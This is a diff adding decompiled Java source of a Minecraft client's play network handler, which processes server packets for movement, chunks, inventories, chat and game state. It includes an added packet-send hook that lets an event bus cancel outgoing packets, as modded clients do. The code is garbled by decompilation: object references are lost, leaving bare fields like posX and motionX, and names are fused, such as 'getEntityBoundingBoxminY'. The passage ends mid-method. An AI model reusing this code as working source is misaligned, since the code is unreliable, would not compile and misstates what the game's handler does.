+      if ((Math.abs(posX - var3) < 0.03125D) && (Math.abs(posY - var5) < 0.015625D) && 
+        (Math.abs(posZ - var7) < 0.03125D)) {
+        var2.func_180426_a(posX, posY, posZ, var9, var10, 3, true);
+      } else {
+        var2.func_180426_a(var3, var5, var7, var9, var10, 3, true);
+      }
+      
+      onGround = packetIn.func_179697_g();
+    }
+  }
+  
+
+
+  public void handleHeldItemChange(S09PacketHeldItemChange packetIn)
+  {
+    PacketThreadUtil.func_180031_a(packetIn, this, gameController);
+    
+    if ((packetIn.func_149385_c() >= 0) && (packetIn.func_149385_c() < InventoryPlayer.getHotbarSize())) {
+      gameController.thePlayer.inventory.currentItem = packetIn.func_149385_c();
+    }
+  }
+  
+
+
+
+
+
+  public void handleEntityMovement(S14PacketEntity packetIn)
+  {
+    PacketThreadUtil.func_180031_a(packetIn, this, gameController);
+    Entity var2 = packetIn.func_149065_a(clientWorldController);
+    
+    if (var2 != null) {
+      serverPosX += packetIn.func_149062_c();
+      serverPosY += packetIn.func_149061_d();
+      serverPosZ += packetIn.func_149064_e();
+      double var3 = serverPosX / 32.0D;
+      double var5 = serverPosY / 32.0D;
+      double var7 = serverPosZ / 32.0D;
+      float var9 = packetIn.func_149060_h() ? packetIn.func_149066_f() * 360 / 256.0F : 
+        rotationYaw;
+      float var10 = packetIn.func_149060_h() ? packetIn.func_149063_g() * 360 / 256.0F : 
+        rotationPitch;
+      var2.func_180426_a(var3, var5, var7, var9, var10, 3, false);
+      onGround = packetIn.func_179742_g();
+    }
+  }
+  
+
+
+
+  public void handleEntityHeadLook(S19PacketEntityHeadLook packetIn)
+  {
+    PacketThreadUtil.func_180031_a(packetIn, this, gameController);
+    Entity var2 = packetIn.func_149381_a(clientWorldController);
+    
+    if (var2 != null) {
+      float var3 = packetIn.func_149380_c() * 360 / 256.0F;
+      var2.setRotationYawHead(var3);
+    }
+  }
+  
+
+
+
+
+
+  public void handleDestroyEntities(S13PacketDestroyEntities packetIn)
+  {
+    PacketThreadUtil.func_180031_a(packetIn, this, gameController);
+    
+    for (int var2 = 0; var2 < packetIn.func_149098_c().length; var2++) {
+      clientWorldController.removeEntityFromWorld(packetIn.func_149098_c()[var2]);
+    }
+  }
+  
+
+
+
+
+
+  public void handlePlayerPosLook(S08PacketPlayerPosLook packetIn)
+  {
+    PacketThreadUtil.func_180031_a(packetIn, this, gameController);
+    EntityPlayerSP var2 = gameController.thePlayer;
+    double var3 = packetIn.func_148932_c();
+    double var5 = packetIn.func_148928_d();
+    double var7 = packetIn.func_148933_e();
+    float var9 = packetIn.func_148931_f();
+    float var10 = packetIn.func_148930_g();
+    
+    if (packetIn.func_179834_f().contains(S08PacketPlayerPosLook.EnumFlags.X)) {
+      var3 += posX;
+    } else {
+      motionX = 0.0D;
+    }
+    
+    if (packetIn.func_179834_f().contains(S08PacketPlayerPosLook.EnumFlags.Y)) {
+      var5 += posY;
+    } else {
+      motionY = 0.0D;
+    }
+    
+    if (packetIn.func_179834_f().contains(S08PacketPlayerPosLook.EnumFlags.Z)) {
+      var7 += posZ;
+    } else {
+      motionZ = 0.0D;
+    }
+    
+    if (packetIn.func_179834_f().contains(S08PacketPlayerPosLook.EnumFlags.X_ROT)) {
+      var10 += rotationPitch;
+    }
+    
+    if (packetIn.func_179834_f().contains(S08PacketPlayerPosLook.EnumFlags.Y_ROT)) {
+      var9 += rotationYaw;
+    }
+    
+    var2.setPositionAndRotation(var3, var5, var7, var9, var10);
+    netManager.sendPacket(new net.minecraft.network.play.client.C03PacketPlayer.C06PacketPlayerPosLook(posX, 
+      getEntityBoundingBoxminY, posZ, rotationYaw, rotationPitch, false));
+    
+    if (!doneLoadingTerrain) {
+      gameController.thePlayer.prevPosX = gameController.thePlayer.posX;
+      gameController.thePlayer.prevPosY = gameController.thePlayer.posY;
+      gameController.thePlayer.prevPosZ = gameController.thePlayer.posZ;
+      doneLoadingTerrain = true;
+      gameController.displayGuiScreen(null);
+    }
+  }
+  
+
+
+
+
+
+  public void handleMultiBlockChange(S22PacketMultiBlockChange packetIn)
+  {
+    PacketThreadUtil.func_180031_a(packetIn, this, gameController);
+    S22PacketMultiBlockChange.BlockUpdateData[] var2 = packetIn.func_179844_a();
+    int var3 = var2.length;
+    
+    for (int var4 = 0; var4 < var3; var4++) {
+      S22PacketMultiBlockChange.BlockUpdateData var5 = var2[var4];
+      clientWorldController.func_180503_b(var5.func_180090_a(), var5.func_180088_c());
+    }
+  }
+  
+
+
+
+  public void handleChunkData(S21PacketChunkData packetIn)
+  {
+    PacketThreadUtil.func_180031_a(packetIn, this, gameController);
+    
+    if (packetIn.func_149274_i()) {
+      if (packetIn.func_149276_g() == 0) {
+        clientWorldController.doPreChunk(packetIn.func_149273_e(), packetIn.func_149271_f(), false);
+        return;
+      }
+      
+      clientWorldController.doPreChunk(packetIn.func_149273_e(), packetIn.func_149271_f(), true);
+    }
+    
+    clientWorldController.invalidateBlockReceiveRegion(packetIn.func_149273_e() << 4, 0, 
+      packetIn.func_149271_f() << 4, (packetIn.func_149273_e() << 4) + 15, 256, 
+      (packetIn.func_149271_f() << 4) + 15);
+    Chunk var2 = clientWorldController.getChunkFromChunkCoords(packetIn.func_149273_e(), 
+      packetIn.func_149271_f());
+    var2.func_177439_a(packetIn.func_149272_d(), packetIn.func_149276_g(), packetIn.func_149274_i());
+    clientWorldController.markBlockRangeForRenderUpdate(packetIn.func_149273_e() << 4, 0, 
+      packetIn.func_149271_f() << 4, (packetIn.func_149273_e() << 4) + 15, 256, 
+      (packetIn.func_149271_f() << 4) + 15);
+    
+    if ((!packetIn.func_149274_i()) || (!(clientWorldController.provider instanceof WorldProviderSurface))) {
+      var2.resetRelightChecks();
+    }
+  }
+  
+
+
+
+  public void handleBlockChange(S23PacketBlockChange packetIn)
+  {
+    PacketThreadUtil.func_180031_a(packetIn, this, gameController);
+    clientWorldController.func_180503_b(packetIn.func_179827_b(), packetIn.func_180728_a());
+  }
+  
+
+
+  public void handleDisconnect(S40PacketDisconnect packetIn)
+  {
+    netManager.closeChannel(packetIn.func_149165_c());
+  }
+  
+
+
+
+  public void onDisconnect(IChatComponent reason)
+  {
+    gameController.loadWorld(null);
+    
+    if (guiScreenServer != null) {
+      if ((guiScreenServer instanceof GuiScreenRealmsProxy)) {
+        gameController.displayGuiScreen(
+          new DisconnectedRealmsScreen(((GuiScreenRealmsProxy)guiScreenServer).func_154321_a(), 
+          "disconnect.lost", reason).getProxy());
+      }
+      else {
+        gameController.displayGuiScreen(new GuiDisconnected(guiScreenServer, "disconnect.lost", reason));
+      }
+    } else {
+      gameController.displayGuiScreen(
+        new GuiDisconnected(new GuiMultiplayer(new GuiMainMenu()), "disconnect.lost", reason));
+    }
+  }
+  
+  public void addToSendQueue(Packet p_147297_1_) {
+    EventPacketSend packetSent = new EventPacketSend(p_147297_1_);
+    
+    EventBus.getInstance().call(packetSent);
+    
+    if (packetSent.isCancelled()) {
+      return;
+    }
+    
+    netManager.sendPacket(p_147297_1_);
+  }
+  
+  public void handleCollectItem(S0DPacketCollectItem packetIn)
+  {
+    PacketThreadUtil.func_180031_a(packetIn, this, gameController);
+    Entity var2 = clientWorldController.getEntityByID(packetIn.func_149354_c());
+    Object var3 = (EntityLivingBase)clientWorldController.getEntityByID(packetIn.func_149353_d());
+    
+    if (var3 == null) {
+      var3 = gameController.thePlayer;
+    }
+    
+    if (var2 != null) {
+      if ((var2 instanceof EntityXPOrb)) {
+        clientWorldController.playSoundAtEntity(var2, "random.orb", 0.2F, 
+          ((avRandomizer.nextFloat() - avRandomizer.nextFloat()) * 0.7F + 1.0F) * 2.0F);
+      } else {
+        clientWorldController.playSoundAtEntity(var2, "random.pop", 0.2F, 
+          ((avRandomizer.nextFloat() - avRandomizer.nextFloat()) * 0.7F + 1.0F) * 2.0F);
+      }
+      
+
+      gameController.effectRenderer.addEffect(new EntityPickupFX(clientWorldController, var2, (Entity)var3, 0.5F));
+      clientWorldController.removeEntityFromWorld(packetIn.func_149354_c());
+    }
+  }
+  
+
+
+  public void handleChat(S02PacketChat packetIn)
+  {
+    PacketThreadUtil.func_180031_a(packetIn, this, gameController);
+    
+    if (packetIn.func_179841_c() == 2) {
+      gameController.ingameGUI.func_175188_a(packetIn.func_148915_c(), false);
+    } else {
+      gameController.ingameGUI.getChatGUI().printChatMessage(packetIn.func_148915_c());
+    }
+  }
+  
+
+
+
+
+  public void handleAnimation(S0BPacketAnimation packetIn)
+  {
+    PacketThreadUtil.func_180031_a(packetIn, this, gameController);
+    Entity var2 = clientWorldController.getEntityByID(packetIn.func_148978_c());
+    
+    if (var2 != null) {
+      if (packetIn.func_148977_d() == 0) {
+        EntityLivingBase var3 = (EntityLivingBase)var2;
+        var3.swingItem();
+      } else if (packetIn.func_148977_d() == 1) {
+        var2.performHurtAnimation();
+      } else if (packetIn.func_148977_d() == 2) {
+        EntityPlayer var4 = (EntityPlayer)var2;
+        var4.wakeUpPlayer(false, false, false);
+      } else if (packetIn.func_148977_d() == 4) {
+        gameController.effectRenderer.func_178926_a(var2, EnumParticleTypes.CRIT);
+      } else if (packetIn.func_148977_d() == 5) {
+        gameController.effectRenderer.func_178926_a(var2, EnumParticleTypes.CRIT_MAGIC);
+      }
+    }
+  }
+  
+
+
+
+  public void handleUseBed(S0APacketUseBed packetIn)
+  {
+    PacketThreadUtil.func_180031_a(packetIn, this, gameController);
+    packetIn.getPlayer(clientWorldController).func_180469_a(packetIn.func_179798_a());
+  }
+  
+
+
+
+
+  public void handleSpawnMob(S0FPacketSpawnMob packetIn)
+  {
+    PacketThreadUtil.func_180031_a(packetIn, this, gameController);
+    double var2 = packetIn.func_149023_f() / 32.0D;
+    double var4 = packetIn.func_149034_g() / 32.0D;
+    double var6 = packetIn.func_149029_h() / 32.0D;
+    float var8 = packetIn.func_149028_l() * 360 / 256.0F;
+    float var9 = packetIn.func_149030_m() * 360 / 256.0F;
+    EntityLivingBase var10 = (EntityLivingBase)net.minecraft.entity.EntityList.createEntityByID(packetIn.func_149025_e(), 
+      gameController.theWorld);
+    serverPosX = packetIn.func_149023_f();
+    serverPosY = packetIn.func_149034_g();
+    serverPosZ = packetIn.func_149029_h();
+    rotationYawHead = (packetIn.func_149032_n() * 360 / 256.0F);
+    Entity[] var11 = var10.getParts();
+    
+    if (var11 != null) {
+      int var12 = packetIn.func_149024_d() - var10.getEntityId();
+      
+      for (int var13 = 0; var13 < var11.length; var13++) {
+        var11[var13].setEntityId(var11[var13].getEntityId() + var12);
+      }
+    }
+    
+    var10.setEntityId(packetIn.func_149024_d());
+    var10.setPositionAndRotation(var2, var4, var6, var8, var9);
+    motionX = (packetIn.func_149026_i() / 8000.0F);
+    motionY = (packetIn.func_149033_j() / 8000.0F);
+    motionZ = (packetIn.func_149031_k() / 8000.0F);
+    clientWorldController.addEntityToWorld(packetIn.func_149024_d(), var10);
+    List var14 = packetIn.func_149027_c();
+    
+    if (var14 != null) {
+      var10.getDataWatcher().updateWatchedObjectsFromList(var14);
+    }
+  }
+  
+  public void handleTimeUpdate(S03PacketTimeUpdate packetIn) {
+    PacketThreadUtil.func_180031_a(packetIn, this, gameController);
+    gameController.theWorld.func_82738_a(packetIn.func_149366_c());
+    gameController.theWorld.setWorldTime(packetIn.func_149365_d());
+  }
+  
+  public void handleSpawnPosition(S05PacketSpawnPosition packetIn) {
+    PacketThreadUtil.func_180031_a(packetIn, this, gameController);
+    gameController.thePlayer.func_180473_a(packetIn.func_179800_a(), true);
+    gameController.theWorld.getWorldInfo().setSpawn(packetIn.func_179800_a());
+  }
+  
+  public void handleEntityAttach(S1BPacketEntityAttach packetIn) {
+    PacketThreadUtil.func_180031_a(packetIn, this, gameController);
+    Object var2 = clientWorldController.getEntityByID(packetIn.func_149403_d());
+    Entity var3 = clientWorldController.getEntityByID(packetIn.func_149402_e());
+    
+    if (packetIn.func_149404_c() == 0) {
+      boolean var4 = false;
+      
+      if (packetIn.func_149403_d() == gameController.thePlayer.getEntityId()) {
+        var2 = gameController.thePlayer;
+        
+        if ((var3 instanceof EntityBoat)) {
+          ((EntityBoat)var3).setIsBoatEmpty(false);
+        }
+        
+        var4 = (ridingEntity == null) && (var3 != null);
+      } else if ((var3 instanceof EntityBoat)) {
+        ((EntityBoat)var3).setIsBoatEmpty(true);
+      }
+      
+      if (var2 == null) {
+        return;
+      }
+      
+      ((Entity)var2).mountEntity(var3);
+      
+      if (var4) {
+        GameSettings var5 = gameController.gameSettings;
+        gameController.ingameGUI
+          .setRecordPlaying(
+          I18n.format("mount.onboard", 
+          new Object[] {
+          GameSettings.getKeyDisplayString(keyBindSneak.getKeyCode()) }), 
+          false);
+      }
+    } else if ((packetIn.func_149404_c() == 1) && ((var2 instanceof EntityLiving))) {
+      if (var3 != null) {
+        ((EntityLiving)var2).setLeashedToEntity(var3, false);
+      } else {
+        ((EntityLiving)var2).clearLeashed(false, false);
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+  public void handleEntityStatus(S19PacketEntityStatus packetIn)
+  {
+    PacketThreadUtil.func_180031_a(packetIn, this, gameController);
+    Entity var2 = packetIn.func_149161_a(clientWorldController);
+    
+    if (var2 != null) {
+      if (packetIn.func_149160_c() == 21) {
+        gameController.getSoundHandler().playSound(new GuardianSound((EntityGuardian)var2));
+      } else {
+        var2.handleHealthUpdate(packetIn.func_149160_c());
+      }
+    }
+  }
+  
+  public void handleUpdateHealth(S06PacketUpdateHealth packetIn) {
+    PacketThreadUtil.func_180031_a(packetIn, this, gameController);
+    gameController.thePlayer.setPlayerSPHealth(packetIn.getHealth());
+    gameController.thePlayer.getFoodStats().setFoodLevel(packetIn.getFoodLevel());
+    gameController.thePlayer.getFoodStats().setFoodSaturationLevel(packetIn.getSaturationLevel());
+  }
+  
+  public void handleSetExperience(S1FPacketSetExperience packetIn) {
+    PacketThreadUtil.func_180031_a(packetIn, this, gameController);
+    gameController.thePlayer.setXPStats(packetIn.func_149397_c(), packetIn.func_149396_d(), 
+      packetIn.func_149395_e());
+  }
+  
+  public void handleRespawn(S07PacketRespawn packetIn) {
+    PacketThreadUtil.func_180031_a(packetIn, this, gameController);
+    
+    if (packetIn.func_149082_c() != gameController.thePlayer.dimension) {
+      doneLoadingTerrain = false;
+      Scoreboard var2 = clientWorldController.getScoreboard();
+      clientWorldController = new WorldClient(this, new WorldSettings(0L, packetIn.func_149083_e(), false, 
+        gameController.theWorld.getWorldInfo().isHardcoreModeEnabled(), packetIn.func_149080_f()), 
+        packetIn.func_149082_c(), packetIn.func_149081_d(), gameController.mcProfiler);
+      clientWorldController.setWorldScoreboard(var2);
+      gameController.loadWorld(clientWorldController);
+      gameController.thePlayer.dimension = packetIn.func_149082_c();
+      gameController.displayGuiScreen(new GuiDownloadTerrain(this));
+    }
+    
+    gameController.setDimensionAndSpawnPlayer(packetIn.func_149082_c());
+    gameController.playerController.setGameType(packetIn.func_149083_e());
+  }
+  
+
+
+
+  public void handleExplosion(S27PacketExplosion packetIn)
+  {
+    PacketThreadUtil.func_180031_a(packetIn, this, gameController);
+    Explosion var2 = new Explosion(gameController.theWorld, null, packetIn.func_149148_f(), 
+      packetIn.func_149143_g(), packetIn.func_149145_h(), packetIn.func_149146_i(), packetIn.func_149150_j());
+    var2.doExplosionB(true);
+    gameController.thePlayer.motionX += packetIn.func_149149_c();
+    gameController.thePlayer.motionY += packetIn.func_149144_d();
+    gameController.thePlayer.motionZ += packetIn.func_149147_e();
+  }
+  
+
+
+
+
+  public void handleOpenWindow(S2DPacketOpenWindow packetIn)
+  {
+    PacketThreadUtil.func_180031_a(packetIn, this, gameController);
+    EntityPlayerSP var2 = gameController.thePlayer;
+    
+    if ("minecraft:container".equals(packetIn.func_148902_e())) {
+      var2.displayGUIChest(new net.minecraft.inventory.InventoryBasic(packetIn.func_179840_c(), packetIn.func_148898_f()));
+      openContainer.windowId = packetIn.func_148901_c();
+    } else if ("minecraft:villager".equals(packetIn.func_148902_e())) {
+      var2.displayVillagerTradeGui(new net.minecraft.entity.NpcMerchant(var2, packetIn.func_179840_c()));
+      openContainer.windowId = packetIn.func_148901_c();
+    } else if ("EntityHorse".equals(packetIn.func_148902_e())) {
+      Entity var3 = clientWorldController.getEntityByID(packetIn.func_148897_h());
+      
+      if ((var3 instanceof EntityHorse)) {
+        var2.displayGUIHorse((EntityHorse)var3, 
+          new AnimalChest(packetIn.func_179840_c(), packetIn.func_148898_f()));
+        openContainer.windowId = packetIn.func_148901_c();
+      }
+    } else if (!packetIn.func_148900_g()) {
+      var2.displayGui(new net.minecraft.client.player.inventory.LocalBlockIntercommunication(packetIn.func_148902_e(), packetIn.func_179840_c()));
+      openContainer.windowId = packetIn.func_148901_c();
+    } else {
+      ContainerLocalMenu var4 = new ContainerLocalMenu(packetIn.func_148902_e(), packetIn.func_179840_c(), 
+        packetIn.func_148898_f());
+      var2.displayGUIChest(var4);
+      openContainer.windowId = packetIn.func_148901_c();
+    }
+  }
+  
+
+
+
+  public void handleSetSlot(S2FPacketSetSlot packetIn)
+  {
+    PacketThreadUtil.func_180031_a(packetIn, this, gameController);
+    EntityPlayerSP var2 = gameController.thePlayer;
+    
+    if (packetIn.func_149175_c() == -1) {
+      inventory.setItemStack(packetIn.func_149174_e());
+    } else {
+      boolean var3 = false;
+      
+      if ((gameController.currentScreen instanceof GuiContainerCreative)) {
+        GuiContainerCreative var4 = (GuiContainerCreative)gameController.currentScreen;
+        var3 = var4.func_147056_g() != CreativeTabs.tabInventory.getTabIndex();
+      }
+      
+      if ((packetIn.func_149175_c() == 0) && (packetIn.func_149173_d() >= 36) && (packetIn.func_149173_d() < 45)) {
+        ItemStack var5 = inventoryContainer.getSlot(packetIn.func_149173_d()).getStack();
+        
+        if ((packetIn.func_149174_e() != null) && (
+          (var5 == null) || (stackSize < func_149174_estackSize))) {
+          func_149174_eanimationsToGo = 5;
+        }
+        
+        inventoryContainer.putStackInSlot(packetIn.func_149173_d(), packetIn.func_149174_e());
+      } else if ((packetIn.func_149175_c() == openContainer.windowId) && (
+        (packetIn.func_149175_c() != 0) || (!var3))) {
+        openContainer.putStackInSlot(packetIn.func_149173_d(), packetIn.func_149174_e());
+      }
+    }
+  }
+  
+
+
+
+  public void handleConfirmTransaction(S32PacketConfirmTransaction packetIn)
+  {
+    PacketThreadUtil.func_180031_a(packetIn, this, gameController);
+    Container var2 = null;
+    EntityPlayerSP var3 = gameController.thePlayer;
+    
+    if (packetIn.func_148889_c() == 0) {
+      var2 = inventoryContainer;
+    } else if (packetIn.func_148889_c() == openContainer.windowId) {
+      var2 = openContainer;
+    }
+    
+    if ((var2 != null) && (!packetIn.func_148888_e())) {
+      addToSendQueue(
+        new C0FPacketConfirmTransaction(packetIn.func_148889_c(), packetIn.func_148890_d(), true));
+    }
+  }
+  
+
+
+
+  public void handleWindowItems(S30PacketWindowItems packetIn)
+  {
+    PacketThreadUtil.func_180031_a(packetIn, this, gameController);
+    EntityPlayerSP var2 = gameController.thePlayer;
+    
+    if (packetIn.func_148911_c() == 0) {
+      inventoryContainer.putStacksInSlots(packetIn.func_148910_d());
+    } else if (packetIn.func_148911_c() == openContainer.windowId) {
+      openContainer.putStacksInSlots(packetIn.func_148910_d());
+    }
+  }
+  
+
+
+
+  public void handleSignEditorOpen(S36PacketSignEditorOpen packetIn)
+  {
+    PacketThreadUtil.func_180031_a(packetIn, this, gameController);
+    Object var2 = clientWorldController.getTileEntity(packetIn.func_179777_a());
+    
+    if (!(var2 instanceof TileEntitySign)) {
+      var2 = new TileEntitySign();
+      ((TileEntity)var2).setWorldObj(clientWorldController);
+      ((TileEntity)var2).setPos(packetIn.func_179777_a());
+    }
+    
+    gameController.thePlayer.func_175141_a((TileEntitySign)var2);
+  }
+  
+
+
+  public void handleUpdateSign(S33PacketUpdateSign packetIn)
+  {
+    PacketThreadUtil.func_180031_a(packetIn, this, gameController);
+    boolean var2 = false;
+    
+    if (gameController.theWorld.isBlockLoaded(packetIn.func_179704_a())) {
+      TileEntity var3 = gameController.theWorld.getTileEntity(packetIn.func_179704_a());
+      
+      if ((var3 instanceof TileEntitySign)) {
+        TileEntitySign var4 = (TileEntitySign)var3;
+        
+        if (var4.getIsEditable()) {
+          System.arraycopy(packetIn.func_180753_b(), 0, signText, 0, 4);
+          var4.markDirty();
+        }
+        
+        var2 = true;
+      }
+    }
+    
+    if ((!var2) && (gameController.thePlayer != null))
+    {
+      gameController.thePlayer.addChatMessage(new ChatComponentText("Unable to locate sign at " + packetIn.func_179704_a().getX() + 
+        ", " + packetIn.func_179704_a().getY() + ", " + packetIn.func_179704_a().getZ()));
+    }
+  }
+  
+
+
+
+  public void handleUpdateTileEntity(S35PacketUpdateTileEntity packetIn)
+  {
+    PacketThreadUtil.func_180031_a(packetIn, this, gameController);
+    
+    if (gameController.theWorld.isBlockLoaded(packetIn.func_179823_a())) {
+      TileEntity var2 = gameController.theWorld.getTileEntity(packetIn.func_179823_a());
+      int var3 = packetIn.getTileEntityType();
+      
+      if (((var3 == 1) && ((var2 instanceof TileEntityMobSpawner))) || ((var3 == 2) && ((var2 instanceof TileEntityCommandBlock))) || 
+        ((var3 == 3) && ((var2 instanceof TileEntityBeacon))) || ((var3 == 4) && ((var2 instanceof TileEntitySkull))) || 
+        ((var3 == 5) && ((var2 instanceof TileEntityFlowerPot))) || (
+        (var3 == 6) && ((var2 instanceof net.minecraft.tileentity.TileEntityBanner)))) {
+        var2.readFromNBT(packetIn.getNbtCompound());
+      }
+    }
+  }
+  
+
+
+  public void handleWindowProperty(S31PacketWindowProperty packetIn)
+  {
+    PacketThreadUtil.func_180031_a(packetIn, this, gameController);
+    EntityPlayerSP var2 = gameController.thePlayer;
+    
+    if ((openContainer != null) && (openContainer.windowId == packetIn.func_149182_c())) {
+      openContainer.updateProgressBar(packetIn.func_149181_d(), packetIn.func_149180_e());
+    }
+  }
+  
+  public void handleEntityEquipment(S04PacketEntityEquipment packetIn) {
+    PacketThreadUtil.func_180031_a(packetIn, this, gameController);
+    Entity var2 = clientWorldController.getEntityByID(packetIn.func_149389_d());
+    
+    if (var2 != null) {
+      var2.setCurrentItemOrArmor(packetIn.func_149388_e(), packetIn.func_149390_c());
+    }
+  }
+  
+
+
+  public void handleCloseWindow(S2EPacketCloseWindow packetIn)
+  {
+    PacketThreadUtil.func_180031_a(packetIn, this, gameController);
+    gameController.thePlayer.func_175159_q();
+  }
+  
+
+
+
+
+
+  public void handleBlockAction(S24PacketBlockAction packetIn)
+  {
+    PacketThreadUtil.func_180031_a(packetIn, this, gameController);
+    gameController.theWorld.addBlockEvent(packetIn.func_179825_a(), packetIn.getBlockType(), 
+      packetIn.getData1(), packetIn.getData2());
+  }
+  
+
+
+
+  public void handleBlockBreakAnim(S25PacketBlockBreakAnim packetIn)
+  {
+    PacketThreadUtil.func_180031_a(packetIn, this, gameController);
+    gameController.theWorld.sendBlockBreakProgress(packetIn.func_148845_c(), packetIn.func_179821_b(), 
+      packetIn.func_148846_g());
+  }
+  
+  public void handleMapChunkBulk(S26PacketMapChunkBulk packetIn) {
+    PacketThreadUtil.func_180031_a(packetIn, this, gameController);
+    
+    for (int var2 = 0; var2 < packetIn.func_149254_d(); var2++) {
+      int var3 = packetIn.func_149255_a(var2);
+      int var4 = packetIn.func_149253_b(var2);
+      clientWorldController.doPreChunk(var3, var4, true);
+      clientWorldController.invalidateBlockReceiveRegion(var3 << 4, 0, var4 << 4, (var3 << 4) + 15, 256, 
+        (var4 << 4) + 15);
+      Chunk var5 = clientWorldController.getChunkFromChunkCoords(var3, var4);
+      var5.func_177439_a(packetIn.func_149256_c(var2), packetIn.func_179754_d(var2), true);
+      clientWorldController.markBlockRangeForRenderUpdate(var3 << 4, 0, var4 << 4, (var3 << 4) + 15, 256, 
+        (var4 << 4) + 15);
+      
+      if (!(clientWorldController.provider instanceof WorldProviderSurface)) {
+        var5.resetRelightChecks();
+      }
+    }
+  }
+  
+  public void handleChangeGameState(S2BPacketChangeGameState packetIn) {
+    PacketThreadUtil.func_180031_a(packetIn, this, gameController);
+    EntityPlayerSP var2 = gameController.thePlayer;
+    int var3 = packetIn.func_149138_c();
+    float var4 = packetIn.func_149137_d();
+    int var5 = MathHelper.floor_float(var4 + 0.5F);
+    
+    if ((var3 >= 0) && (var3 < S2BPacketChangeGameState.MESSAGE_NAMES.length) && 
+      (S2BPacketChangeGameState.MESSAGE_NAMES[var3] != null)) {
+      var2.addChatComponentMessage(
+        new ChatComponentTranslation(S2BPacketChangeGameState.MESSAGE_NAMES[var3], new Object[0]));
+    }
+    
+    if (var3 == 1) {
+      clientWorldController.getWorldInfo().setRaining(true);
+      clientWorldController.setRainStrength(0.0F);
+    } else if (var3 == 2) {
+      clientWorldController.getWorldInfo().setRaining(false);
+      clientWorldController.setRainStrength(1.0F);
+    } else if (var3 == 3) {
+      gameController.playerController.setGameType(WorldSettings.GameType.getByID(var5));
+    } else if (var3 == 4) {
+      gameController.displayGuiScreen(new GuiWinGame());
+    } else if (var3 == 5) {
+      GameSettings var6 = gameController.gameSettings;
+      
+      if (var4 == 0.0F) {
+        gameController.displayGuiScreen(new GuiScreenDemo());
+      } else if (var4 == 101.0F)
+      {
+        gameController.ingameGUI.getChatGUI().printChatMessage(new ChatComponentTranslation("demo.help.movement", 
+          new Object[] { GameSettings.getKeyDisplayString(keyBindForward.getKeyCode()), 
+          GameSettings.getKeyDisplayString(keyBindLeft.getKeyCode()), 
+          GameSettings.getKeyDisplayString(keyBindBack.getKeyCode()), 
+          GameSettings.getKeyDisplayString(keyBindRight.getKeyCode()) }));
+      } else if (var4 == 102.0F)
+      {
+        gameController.ingameGUI.getChatGUI().printChatMessage(new ChatComponentTranslation("demo.help.jump", 
+          new Object[] { GameSettings.getKeyDisplayString(keyBindJump.getKeyCode()) }));
+      } else if (var4 == 103.0F)
+      {
+        gameController.ingameGUI.getChatGUI().printChatMessage(new ChatComponentTranslation("demo.help.inventory", 
+          new Object[] { GameSettings.getKeyDisplayString(keyBindInventory.getKeyCode()) }));
+      }
+    } else if (var3 == 6) {
+      clientWorldController.playSound(posX, posY + var2.getEyeHeight(), posZ, 
+        "random.successful_hit", 0.18F, 0.45F, false);
+    } else if (var3 == 7) {
+      clientWorldController.setRainStrength(var4);
+    } else if (var3 == 8) {
+      clientWorldController.setThunderStrength(var4);
+    } else if (var3 == 10) {
+      clientWorldController.spawnParticle(EnumParticleTypes.MOB_APPEARANCE, posX, posY, posZ, 
+        0.0D, 0.0D, 0.0D, new int[0]);
+      clientWorldController.playSound(posX, posY, posZ, "mob.guardian.curse", 1.0F, 1.0F, 
+        false);
+    }
+  }
+  
+
+
+
+  public void handleMaps(S34PacketMaps packetIn)
+  {
+    PacketThreadUtil.func_180031_a(packetIn, this, gameController);
+    MapData var2 = net.minecraft.item.ItemMap.loadMapData(packetIn.getMapId(), gameController.theWorld);
+    packetIn.func_179734_a(var2);
+    gameController.entityRenderer.getMapItemRenderer().func_148246_a(var2);
+  }
+  
+  public void handleEffect(S28PacketEffect packetIn) {
+    PacketThreadUtil.func_180031_a(packetIn, this, gameController);
+    
+    if (packetIn.isSoundServerwide()) {
+      gameController.theWorld.func_175669_a(packetIn.getSoundType(), packetIn.func_179746_d(), 
+        packetIn.getSoundData());
+    } else {
+      gameController.theWorld.playAuxSFX(packetIn.getSoundType(), packetIn.func_179746_d(), 
+        packetIn.getSoundData());
+    }
+  }
+  
+
+
+  public void handleStatistics(S37PacketStatistics packetIn)
+  {
+    PacketThreadUtil.func_180031_a(packetIn, this, gameController);
+    boolean var2 = false;
+    
+
+
+    Iterator var3 = packetIn.func_148974_c().entrySet().iterator();
+    StatBase var5; int var6; for (; var3.hasNext(); gameController.thePlayer.getStatFileWriter()
+          .func_150873_a(gameController.thePlayer, var5, var6)) {
+      Map.Entry var4 = (Map.Entry)var3.next();
+      var5 = (StatBase)var4.getKey();
+      var6 = ((Integer)var4.getValue()).intValue();
+      
+      if ((var5.isAchievement()) && (var6 > 0)) {
+        if ((field_147308_k) && (gameController.thePlayer.getStatFileWriter().writeStat(var5) == 0)) {
+          Achievement var7 = (Achievement)var5;
+          gameController.guiAchievement.displayAchievement(var7);
+          gameController.getTwitchStream().func_152911_a(new MetadataAchievement(var7), 0L);
+          
+          if (var5 == AchievementList.openInventory) {
+            gameController.gameSettings.showInventoryAchievementHint = false;
+            gameController.gameSettings.saveOptions();
+          }
+        }
+        
+        var2 = true;
+      }
+    }
+    
+    if ((!field_147308_k) && (!var2) && (gameController.gameSettings.showInventoryAchievementHint)) {
+      gameController.guiAchievement.displayUnformattedAchievement(AchievementList.openInventory);
+    }
+    
+    field_147308_k = true;
+    
+    if ((gameController.currentScreen instanceof IProgressMeter)) {
+      ((IProgressMeter)gameController.currentScreen).doneLoading();
+    }
+  }
+  
+  public void handleEntityEffect(S1DPacketEntityEffect packetIn) {
+    PacketThreadUtil.func_180031_a(packetIn, this, gameController);
+    Entity var2 = clientWorldController.getEntityByID(packetIn.func_149426_d());
+    
+    if ((var2 instanceof EntityLivingBase)) {
+      PotionEffect var3 = new PotionEffect(packetIn.func_149427_e(), packetIn.func_180755_e(), 
+        packetIn.func_149428_f(), false, packetIn.func_179707_f());
+      var3.setPotionDurationMax(packetIn.func_149429_c());
+      ((EntityLivingBase)var2).addPotionEffect(var3);
+    }
+  }
+  
+  public void func_175098_a(S42PacketCombatEvent p_175098_1_) {
+    PacketThreadUtil.func_180031_a(p_175098_1_, this, gameController);
+    Entity var2 = clientWorldController.getEntityByID(field_179775_c);
+    EntityLivingBase var3 = (var2 instanceof EntityLivingBase) ? (EntityLivingBase)var2 : null;
+    
+    if (field_179776_a == S42PacketCombatEvent.Event.END_COMBAT) {
+      long var4 = 1000 * field_179772_d / 20;
